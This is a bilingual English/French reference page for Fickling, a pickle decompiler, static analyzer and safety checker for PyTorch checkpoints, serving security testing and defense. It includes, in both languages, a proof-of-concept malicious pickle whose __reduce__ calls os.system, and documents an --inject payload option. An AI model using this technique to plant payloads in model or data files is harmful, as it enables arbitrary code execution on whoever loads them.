Fickling

Décompilateur de pickle Python, analyseur statique et réécrivain de bytecode de Trail of Bits, utilisé pour détecter, rétro-ingénierer ou fabriquer des fichiers basés sur pickle malveillants, y compris les checkpoints PyTorch. Trail of Bits' Python pickle decompiler, static analyzer, and bytecode rewriter — used to detect, reverse-engineer, or craft malicious pickle-based files including PyTorch checkpoints.

↗ https://github.com/trailofbits/fickling

Overview

Python’s pickle module executes arbitrary bytecode-like opcodes on load, and PyTorch’s default checkpoint format is pickle underneath — meaning any .pt/.pth file (or plain .pkl) is a potential code-execution payload. Fickling decompiles pickle streams into readable pseudo-Python, lets you statically analyze what a pickle file will actually do before deserializing it, and can rewrite/inject pickle bytecode for PoC purposes. It also ships an allowlist-based safety checker that blocks deserialization unless every referenced import is on a known-safe list, making it usable both offensively (crafting test payloads) and defensively (gating untrusted model loads).

Installation

pip install fickling

Decompiling / Inspecting a Pickle File

Decompile to pseudo-Python for manual review

fickling <model_checkpoint.pt>

Print the raw pickle opcode stream

fickling --trace <model_checkpoint.pt>

Static Safety Check

import fickling

# Raises if the pickle references anything outside the safe-import allowlist
with open("<model_checkpoint.pt>", "rb") as f:
    fickling.check_safety(f)

Same check from the CLI, useful in a pre-load CI gate

fickling --check-safety <model_checkpoint.pt>

Crafting a PoC Malicious Pickle

import pickle, fickling

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("id > /tmp/pwned",))

# Serialize the payload as a normal-looking pickle
with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

# Inspect it back with fickling to confirm what it would execute
fickling payload.pkl

Tips

  • Prefer fickling.check_safety() (allowlist-based) over trying to blocklist “bad” opcodes yourself — pickle’s flexibility makes blocklists easy to bypass.
  • Fickling can hook pickle.load/torch.load globally in a process (fickling.always_check_safety()) to add a safety net around third-party code you don’t control.
  • Use the decompiled pseudo-Python output to write up exactly what a suspicious .pt file does for a report — much clearer for a client than raw opcodes.
Help / Man page
usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
                 [--output-file FILE] [-v] file

positional arguments:
  file                    pickle/PyTorch checkpoint file to process

optional arguments:
  --trace                 print raw opcode-by-opcode trace
  --check-safety          run allowlist-based safety analysis, nonzero
                           exit if unsafe references are found
  --inject CODE           inject a __reduce__-style payload (PoC/testing)
  --output-file FILE      write decompiled/modified output to a file
  -v, --verbose           verbose output
  --version               show version

python api:
  fickling.check_safety(file_obj)         raises on unsafe pickle
  fickling.always_check_safety()          hooks pickle.load/torch.load
  fickling.fickle.Pickled.load(file_obj)  parse into an inspectable AST

Vue d’ensemble

Le module pickle de Python exécute des opcodes de type bytecode arbitraires au chargement, et le format de checkpoint par défaut de PyTorch repose sur pickle en interne, ce qui signifie que tout fichier .pt/.pth (ou simple .pkl) est un payload d’exécution de code potentiel. Fickling décompile les flux pickle en pseudo-Python lisible, permet d’analyser statiquement ce qu’un fichier pickle va réellement faire avant de le désérialiser, et peut réécrire/injecter du bytecode pickle à des fins de PoC. Il embarque aussi un vérificateur de sécurité basé sur allowlist qui bloque la désérialisation à moins que chaque import référencé soit sur une liste connue comme sûre, le rendant utilisable aussi bien offensivement (fabriquer des payloads de test) que défensivement (filtrer le chargement de modèles non fiables).

Installation

pip install fickling

Décompiler / Inspecter un fichier pickle

# Décompiler en pseudo-Python pour une revue manuelle
fickling <model_checkpoint.pt>

# Afficher le flux brut d'opcodes pickle
fickling --trace <model_checkpoint.pt>

Vérification statique de sécurité

import fickling

# Lève une exception si le pickle référence quoi que ce soit hors de l'allowlist d'imports sûrs
with open("<model_checkpoint.pt>", "rb") as f:
    fickling.check_safety(f)
# Même vérification via la CLI, utile dans une porte CI avant chargement
fickling --check-safety <model_checkpoint.pt>

Fabriquer un pickle malveillant PoC

import pickle, fickling

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("id > /tmp/pwned",))

# Sérialiser le payload comme un pickle d'apparence normale
with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

# L'inspecter avec fickling pour confirmer ce qu'il exécuterait
fickling payload.pkl

Conseils

  • Préférer fickling.check_safety() (basé sur allowlist) plutôt que d’essayer de bloquer les “mauvais” opcodes soi-même : la flexibilité de pickle rend les blocklists faciles à contourner.
  • Fickling peut hooker pickle.load/torch.load globalement dans un processus (fickling.always_check_safety()) pour ajouter un filet de sécurité autour de code tiers que vous ne contrôlez pas.
  • Utiliser la sortie pseudo-Python décompilée pour documenter précisément ce que fait un fichier .pt suspect dans un rapport : bien plus clair pour un client que des opcodes bruts.
Aide / Page de manuel
usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
                 [--output-file FILE] [-v] file

positional arguments:
  file                    pickle/PyTorch checkpoint file to process

optional arguments:
  --trace                 print raw opcode-by-opcode trace
  --check-safety          run allowlist-based safety analysis, nonzero
                           exit if unsafe references are found
  --inject CODE           inject a __reduce__-style payload (PoC/testing)
  --output-file FILE      write decompiled/modified output to a file
  -v, --verbose           verbose output
  --version               show version

python api:
  fickling.check_safety(file_obj)         raises on unsafe pickle
  fickling.always_check_safety()          hooks pickle.load/torch.load
  fickling.fickle.Pickled.load(file_obj)  parse into an inspectable AST